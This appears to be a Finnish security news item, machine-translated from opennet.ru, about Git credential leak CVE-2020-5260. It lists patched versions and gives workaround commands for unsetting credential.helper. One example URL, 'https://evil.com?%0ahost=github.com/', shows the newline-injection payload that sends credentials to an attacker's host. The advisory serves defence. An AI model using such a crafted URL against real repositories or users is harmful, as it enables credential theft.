Git-tunnistetietojen vuodon haavoittuvuus

Julkaistu hajautetun lähteen ohjausjärjestelmän Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 ja 2.17.4 korjaavat julkaisut joka eliminoi haavoittuvuus (CVE-2020-5260) käsittelijässä "credential.helper", mikä aiheuttaa valtuustietojen lähettämisen väärälle isännälle, kun git-asiakas käyttää arkistoa käyttämällä erityisesti muotoiltua URL-osoitetta, joka sisältää rivinvaihtomerkin. Haavoittuvuutta voidaan käyttää järjestämään valtuustietojen lähettäminen toisesta isännästä hyökkääjän hallitsemalle palvelimelle.

Kun määrität URL-osoitteen, kuten "https://evil.com?%0ahost=github.com/", tunnistetietojen käsittelijä, kun se muodostaa yhteyden isäntään evil.com, välittää github.comille määritetyt todennusparametrit. Ongelma ilmenee suoritettaessa toimintoja, kuten "git-klooni", mukaan lukien alimoduulien URL-osoitteiden käsittely (esimerkiksi "git-alimoduulipäivitys" käsittelee automaattisesti .gitmodules-tiedostossa määritetyt URL-osoitteet arkistosta). Haavoittuvuus on vaarallisin tilanteissa, joissa kehittäjä kloonaa arkiston näkemättä URL-osoitetta, esimerkiksi työskennellessään alimoduulien kanssa, tai järjestelmissä, jotka suorittavat automaattisia toimintoja, esimerkiksi paketin rakennuskomentosarjassa.

Uusien versioiden haavoittuvuuksien estämiseksi on kielletty rivinvaihtomerkin välittäminen kaikissa valtuustietojen vaihtoprotokollan kautta lähetetyissä arvoissa. Jakeluissa voit seurata pakettipäivitysten julkaisua sivuilla Debian, Ubuntu, RHEL, SUSE / openSUSE, Fedora, Kaari, FreeBSD.

Kiertokeinona ongelman estämiseksi suositeltava Älä käytä tiedostoa credential.helper, kun käytät julkisia tietovarastoja, äläkä käytä "git clone" -toimintoa "--recurse-submodules" -tilassa, kun arkistoja ei ole valittu. Voit poistaa credential.helper-käsittelijän kokonaan käytöstä, mikä tekee säilytys ja salasanojen hakeminen osoitteesta kätkö, suojattu arkistot tai tiedosto, jossa on salasanoja, voit käyttää komentoja:

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

Lähde: opennet.ru

Lisää kommentti